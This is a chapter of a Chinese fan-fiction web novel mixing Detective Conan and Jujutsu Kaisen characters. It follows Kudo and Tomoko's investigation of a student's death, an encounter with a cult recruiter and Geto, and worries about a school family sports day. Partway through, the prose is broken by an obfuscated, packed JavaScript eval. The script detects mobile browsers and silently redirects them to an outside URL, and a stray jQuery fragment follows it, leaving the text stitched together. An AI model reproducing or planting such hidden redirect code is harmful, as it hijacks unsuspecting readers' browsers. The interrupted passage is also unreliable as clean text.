14. 第 14 章

作品:《开局获得特级过怨咒灵伽椰子

    走出公寓的二人在街上闲逛着,工藤新一给知子说了他对藤野由美自杀结论的怀疑。


    知子知道工藤新一嘴上说是怀疑藤野由美的死因有蹊跷,但是她肯定工藤新一已经将这件案子以他杀来调查了。


    工藤新一:“现在我也没有什么头绪,死亡第一现场已经失去调查意义了。”


    知子:“那要去藤野由美就读的学校吗?也许通过她的人际关系可以推理出一些。”


    “那我们得在读书日去,现在周末,学校根本没人。”


    知子赞同工藤新一的提议,她说:“那我们周一去吧,我去请个假。”


    工藤新一点头,“那周一就在仙台都立中学那里汇合。”


    “两位同学要了解一下我们盘星教吗?”


    循声望去,只见一个赤裸着上身的男人,他手里正拿着一沓打印的传单。


    传单上写着各种天花乱坠的夸赞语言。其中最显眼的几个大字就是:


    【今日!盘星教教主将会举行教义演讲大会!教徒免费入场!】


    “不了。”知子摇了摇头,眼里都是拒绝,“我对这些不感兴趣。”


    “对,先生你还是找别人吧。”工藤新一也表态。


    她们二人都不想和这样怪异的人过多交谈。


    “诶!相信我吧,我们教主可以解决令你们困扰之事,教会成员之间也是相亲相爱。现在只需要一万元就能入会!”


    男人赤裸着上身,说话间胸脯起伏明显。经过锻炼后的身体,看起来孔武有力,一拳能将工藤新一二人打倒。


    周围的人也绕着三人走,生怕自己是下一个被缠上的人。


    男人见二人毫无反应,不死心的拿出两张传单,给他们一人塞了一张。


    工藤新一不过多与男人纠缠,他拽着知子的衣袖,将她往人潮汹涌的地方去。


    见人走远,男人懊恼地锤了锤头,他喃喃道:“又失败了。”


    走远的两人松了口气,工藤新一说:“这也不是涩谷,怎么有这么开放的人。”


    知子抹了把汗,说:“狂热教徒吧,没准他们盘星教的教义就是不穿衣,教会人员都这样,那他刚说的教主岂不是在演讲时会和成员坦诚相见?”


    “别这样。”工藤新一恶寒,他可不想脑补一个上了年纪的人的果体。


    ......


    街上人来人往,知子在和工藤新一说话的时候不小心撞到了一个人,她抬起头看了眼对方。


    黑色的长发,狭长上调的眼睛,金棕色的瞳孔。他的脸部线条柔和,配上那双眼睛也不突兀。特别是他身上穿着五条袈裟,日本这样不剃度的和尚很少见。


    对方歪了歪头,温润的声音传入知子的耳朵。


    “同学下次要好好注意前面。”


    撞到别人还未及时道歉,且一直不礼貌盯着别人发呆的知子急忙弯下腰:“对不起......我一下子就愣住了,我不是故意的,真的很抱歉。”


    “没关系的。”


    知子只见陌生男人看了眼她手里的宣传单,他说:“同学也对盘星教感兴趣吗?”


    “哦,你说这个吗?”知子将传单递给对方,接着说:“我对宗教什么的不太感兴趣,这是刚刚一个......”


    不知道该怎么形容对方,知子斟酌了一下用词,“是一个穿着很有特色的男性给我的,他有点奇怪,嗯......”她迟疑了一会,“对方可能有暴露癖。”


    知子一想到那个没穿上衣的奇怪男人莫名奇妙上来塞给她一张传单,然后还自我感动地介绍起来。她只感觉眼睛被深深骚扰了。


    “哈哈哈哈,是吗?那同学你得保护好自己了,毕竟现在这个社会坏人特别多。”


    工藤新一不着声色的站在知子身前,他防备着眼前这个男人。直觉告诉他,这个穿着袈裟的男人不是什么善茬。


    知子后退一步,说:“谢谢关心,先生你也是宗教人员吧,是信仰佛教吗?”


    “信佛真的有用吗?佛会渡世人?”


    蓦地,两道欢快的女生从人群中传来,“夏油大人快走啦!演讲要迟到了。”知子顺着声音望去。只见两个打扮时髦的可爱女生正看着他们,她们身旁还有那个先前给知子塞传单的暴露癖男人。


    这个被称为夏油先生的人没直面回答她的问题,带着歉意说道:“抱歉啊,我还有事,下次再见吧。”


    他朝知子挥了挥手,随即淹没在了人群中。


    看着消失在视野里的男人,工藤新一不禁吐槽:“真是奇怪的人,他看样子不信宗教啊。”


    知子不可置否,她说:“传销组织罢了,社会上这些宗教打着救赎的名头不都是为了钱吗?”


    “工藤你是唯心主义吗?”


    “怎么说呢。”工藤新一摊开手,表示无奈,“作为侦探我是一个实实在在的唯物主义,但是有些时候面对一些案件,我却希望我是唯心主义,直面现实太残酷了。”


    “不过嘛,这是作为福尔摩斯弟子的考验,总要面对这些才能成长。”


    “也是,如过追求真理的侦探是唯心主义,那这个世界未免太爱逃避了。”


    工藤新一调查过知子,她所在的禅院家就是一个信仰宗教并且从事宗教活动的大家族,连她的老师五条悟也是宗教行业从事者。怎么看她以后都是要和他们一样,在宗教行业生存。


    今日的调查结束,工藤新一和知子就搭乘新干线回东京了。


    ......


    回到家,知子刚坐在空调下享受劲爽的凉风,伏黑惠就冷不丁地冒出来站在她旁边。


    他说:“你今天和工藤同学的调查进度怎么样了?”


    “别提了,大大失败。”


    伏黑惠不解,他知道工藤新一的破案水平,有他在居然没有解决。


    “是非人类作案吗?”


    “不是。”知子摇了摇头,她将眼镜摘下来,揉了揉太阳穴,说:“现场早就被打理干净了,找不出线索,只能靠警方的卷宗。”


    “那你们准备怎么办?”


    “哎,我们准备着手调查藤野由美的人际关系,所以周一我会请假。”


    “还好是周一,周三会有家庭运动会,虽然那种活动也没什么参加的意义。”


    “!”


    “家庭运动会!”


    见知子一脸诧异的表情,伏黑惠就知道她又没有认真看学校发的通知。


    “家庭运动会?没事吧?又来......”知子完全不想回忆上次的运动会场景,怎么这种无聊的活动每年都得来一次?


    “津美纪呢?高中部有吗?”


    “没有。”伏黑惠回答,“她们运动会的时间和我们错开的,我们运动会期间高中部都按照平时那样继续上课。”


    “毁灭吧。”知子瘫软到沙发上,眼神无光,她问:“这次难不成还要继续叫老师吗?”


    紧接着,她的头像拨浪鼓一样摇了摇,“不行!这次无论如何都不能让五条悟知道!”


    她抓住伏黑惠的衣袖,脑中灵光乍现,“要不你的家庭项目由我来,我的家庭项目由你来。反正我们这关系确实是家人关系,没差的。”


    伏黑惠听完知子的话,露出看傻子的眼神,“你笨吗?我们的项目是同时举行,再者我才不要在学校承认这个关系。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471764|201519||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “不嘛,不嘛!”知子干脆在沙发上打滚耍起无奈。


    “为什么会有家庭运动会这个活动啊!学生就应该好好学习!为什么要搞这么花里胡哨的东西!”


    “别发疯了。”伏黑惠不着痕迹地离她远了一些,以免被波及到。


    “我提前拜托了伊地知先生,所以你要么继续和五条悟搭档,要么拜托你那个性格恶劣的哥哥,或者你的酒鬼父亲。”


    知子:“......”


    她的家人身上套不上好词。


    场景切换至知子和伏黑惠国中一年级的家庭运动会。


    关于家庭运动会,伏黑惠首先想到的就是请假。


    是的,此人怕麻烦干脆就直接不去了,但是他的请假条被老师直接拒绝了。


    他仍旧记得那位老师温柔却残忍的声音,“我记得伏黑同学的监护人,这么久了都没见过他关心你的学业,这个人作为家长也太失职了,所以这次运动会老师就事先通知了你的家长哦。”


    但是由于知子和伏黑惠的家长是同一个人,也就是五条悟。另一边老师也以这样的说辞,让五条悟来参加她的家庭运动会。


    也许是家庭情况那栏太惨了,两个老师就合计,让五条悟带着两个学生参与项目比赛。


    原本的两人三足也变成三人四足......


    为什么要说丢脸呢?


    因为五条悟好胜心起来,在“两人三足”比赛中不顾团队合作,直接大跨步地奔向前,全然不顾在地上被拖行的二人。


    家庭接力赛上,他直接扛起知子跑完了全程。


    明明是接力赛,他却以“反正都是靠两个人完成,就算是扛着孩子跑也是一样的。”的借口来反驳判他犯规的裁判。


    诸如此类的违规操作让他在学校大出风头。甚至他夺冠的那张照片还挂在学校走廊上。


    照片上,只见五条悟笑得灿烂,一口白牙快要闪瞎谁的眼睛。他嘴里咬着金牌,左右手各捞起一脸生无可恋的知子和伏黑惠。


    每次知子路过走廊都要被迫欣赏他的英姿,同班同学也会指着那张图片打趣她。


    所以今年怎么也不能让五条悟再来了,实在不行就叫哥哥来,再不行就逃课吧。老师那边请假肯定是请不到的,去年伏黑惠就失败了。


    逃课?


    “逃课也不行啊!”


    知子没控制住心声直接嚎了出来,逃课被抓到也是要通知家长的,也就意味着五条悟还是要来学校。


    运动会那天绝对要考勤。


    干脆叫哥哥来吧,只要多拍点马屁,必要时还可以拿出老师当挡箭牌,说五条老师赢得了金牌什么的,哥哥肯定也行巴拉巴拉......


    对不起了老师,我是真的不想再社会性死亡了!


    就这么决定后,知子掏出了手机,深吸一口气,给禅院直哉发去了信息。


    【哥哥!下周三学校开展运动会,你可以来吗?上次五条老师来就没有拿到我喜欢的那个项目的金牌。哥哥你肯定可以的!哥哥最厉害了!】


    【狗狗撒娇jpg.】


    知子相信有这些话,禅院直哉再不想来也会来的,他肯定想赢过五条悟,就算是这种家庭运动会上。


    伏黑惠看着知子发完信息,心里竟莫名地泛起一丝少见的心虚。其实早在他找伊地知先生帮忙时,五条悟就已经知道了这件事,对方肯定会来参加这次家庭运动会的。


    要是禅院直哉和五条悟都来了,那场面一定会非常炸裂,伏黑惠不敢细想,他默默站起身,脚步虚浮地回到了卧室……


    只留下毫不知情的知子在客厅与禅院直哉交涉。